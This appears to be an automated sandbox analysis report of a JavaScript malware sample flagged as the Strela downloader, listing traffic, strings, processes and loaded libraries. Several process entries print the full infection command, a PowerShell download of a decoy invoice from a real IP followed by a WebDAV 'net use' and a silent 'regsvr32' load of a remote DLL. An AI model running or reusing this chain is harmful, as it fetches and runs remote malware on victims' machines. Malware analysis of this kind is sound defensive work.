Source: unknown	Network traffic detected: HTTP traffic on port 8888 -> 49731

Source: global traffic

TCP traffic: 192.168.2.4:49731 -> 193.143.1.205:8888

Source: global traffic

TCP traffic: 192.168.2.4:58406 -> 1.1.1.1:53

Source: Joe Sandbox View

IP Address: 193.143.1.205 193.143.1.205

Source: Joe Sandbox View

ASN Name: BITWEB-ASRU BITWEB-ASRU

Source: Network traffic

Suricata IDS: 1810000 - Severity 2 - Joe Security ANOMALY Windows PowerShell HTTP activity : 192.168.2.4:49730 -> 193.143.1.205:80

Source: global traffic

HTTP traffic detected: GET /invoice.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682Host: 193.143.1.205Connection: Keep-Alive

Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205

Source: global traffic

HTTP traffic detected: GET /invoice.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682Host: 193.143.1.205Connection: Keep-Alive

Source: global traffic

DNS traffic detected: DNS query: x1.i.lencr.org

Source: wscript.exe, 00000000.00000002.1707155451.000002B028B53000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205/invoice.php
Source: net.exe, 00000006.00000002.1778200446.000001F554D40000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000006.00000003.1776032391.000001F554D23000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000006.00000002.1778070349.000001F554D23000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000006.00000003.1773357687.000001F554D3E000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000006.00000002.1777959690.000001F554CE8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205:8888/
Source: svchost.exe, 00000008.00000002.3005309405.000002378BA00000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.ver)
Source: svchost.exe, 00000008.00000003.1776517529.000002378BC18000.00000004.00000800.00020000.00000000.sdmp, qmgr.db.8.dr, edb.log.8.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/chromewebstore/L2Nocm9tZV9leHRlbnNpb24vYmxvYnMvYjFkQUFWdmlaXy12MHFU
Source: edb.log.8.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome/acosgr5ufcefr7w7nv4v6k4ebdda_117.0.5938.132/117.0.5
Source: edb.log.8.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/acaa5khuklrahrby256zitbxd5wq_1.0.2512.1/n
Source: edb.log.8.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/acaxuysrwzdnwqutaimsxybnjbrq_2023.9.25.0/
Source: svchost.exe, 00000008.00000003.1776517529.000002378BC18000.00000004.00000800.00020000.00000000.sdmp, qmgr.db.8.dr, edb.log.8.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/adhioj45hzjkfunn7ccrbqyyhu3q_20230916.567
Source: svchost.exe, 00000008.00000003.1776517529.000002378BC18000.00000004.00000800.00020000.00000000.sdmp, qmgr.db.8.dr, edb.log.8.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/adqyi2uk2bd7epzsrzisajjiqe_9.48.0/gcmjkmg
Source: svchost.exe, 00000008.00000003.1776517529.000002378BC4D000.00000004.00000800.00020000.00000000.sdmp, qmgr.db.8.dr, edb.log.8.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/dix4vjifjljmfobl3a7lhcpvw4_414/lmelglejhe
Source: edb.log.8.dr	String found in binary or memory: http://f.c2r.ts.cdn.office.net/pr/492350f6-3a01-4f97-b9c0-c7c6ddf67d60/Office/Data/v32_16.0.16827.20
Source: 2D85F72862B55C4EADD9E66E06947F3D0.7.dr	String found in binary or memory: http://x1.i.lencr.org/
Source: qmgr.db.8.dr, edb.log.8.dr	String found in binary or memory: https://g.live.com/1rewlive5skydrive/OneDriveProductionV2?OneDriveUpdate=9c123752e31a927b78dc96231b6
Source: edb.log.8.dr	String found in binary or memory: https://g.live.com/odclientsettings/Prod.C:
Source: edb.log.8.dr	String found in binary or memory: https://g.live.com/odclientsettings/ProdV2
Source: edb.log.8.dr	String found in binary or memory: https://g.live.com/odclientsettings/ProdV2.C:
Source: edb.log.8.dr	String found in binary or memory: https://g.live.com/odclientsettings/ProdV2?OneDriveUpdate=f359a5df14f97b6802371976c96
Source: qmgr.db.8.dr, edb.log.8.dr	String found in binary or memory: https://oneclient.sfx.ms/Win/Installers/23.194.0917.0001/amd64/OneDriveSetup.exe
Source: edb.log.8.dr	String found in binary or memory: https://oneclient.sfx.ms/Win/Prod/21.220.1024.0005/OneDriveSetup.exe.C:

Spam, unwanted Advertisements and Ransom Demands

Yara detected Strela Downloader

Source: Yara match

File source: Process Memory Space: wscript.exe PID: 6908, type: MEMORYSTR

System Summary

Windows Scripting host queries suspicious COM object (likely to drop second stage)

Source: C:\Windows\System32\wscript.exe

COM Object queried: Windows Script Host Shell Object HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{72C24DD5-D70A-438B-8A42-98424B88AFB8}

Jump to behavior

Wscript starts Powershell (via cmd or directly)

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\57911885311171.dll
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\57911885311171.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"	Jump to behavior

Source: C:\Windows\System32\svchost.exe

File created: C:\Windows\ServiceProfiles\LocalService\AppData\Local\FontCache\Fonts\Download-1.tmp

Jump to behavior

Source: 1574285771252416900.js

Initial sample: Strings found which are bigger than 50

Source: classification engine

Classification label: mal100.rans.troj.spyw.expl.evad.winJS@27/57@2/2

Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe

File created: C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SharedDataEvents-journal

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Mutant created: NULL
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:6036:120:WilError_03

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File created: C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_wxtag3fz.sfs.ps1

Jump to behavior

Source: C:\Windows\System32\wscript.exe

File read: C:\Users\user\Desktop\desktop.ini

Jump to behavior

Source: C:\Windows\System32\wscript.exe

Key opened: HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: unknown	Process created: C:\Windows\System32\wscript.exe C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\1574285771252416900.js"
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\57911885311171.dll
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215
Source: unknown	Process created: C:\Windows\System32\svchost.exe C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --user-data-dir="C:\Users\user\AppData\Local\CEF\User Data" --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2128 --field-trial-handle=1592,i,1124038482124866713,3683872806393719021,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\57911885311171.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --user-data-dir="C:\Users\user\AppData\Local\CEF\User Data" --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2128 --field-trial-handle=1592,i,1124038482124866713,3683872806393719021,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior

Source: C:\Windows\System32\wscript.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sxs.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: jscript.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: scrobj.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: scrrun.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: policymanager.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: msvcp110_win.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: pcacli.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: sfc_os.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasapi32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasman.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rtutils.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: wkscli.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: samcli.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: drprov.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: winsta.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: ntlanman.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: davclnt.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: davhlpr.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: qmgr.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsperf.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: powrprof.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: xmllite.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: firewallapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: esent.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: umpdc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: fwbase.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: flightsettings.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: netprofm.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: npmproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsigd.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: upnp.dll	Jump to behavior
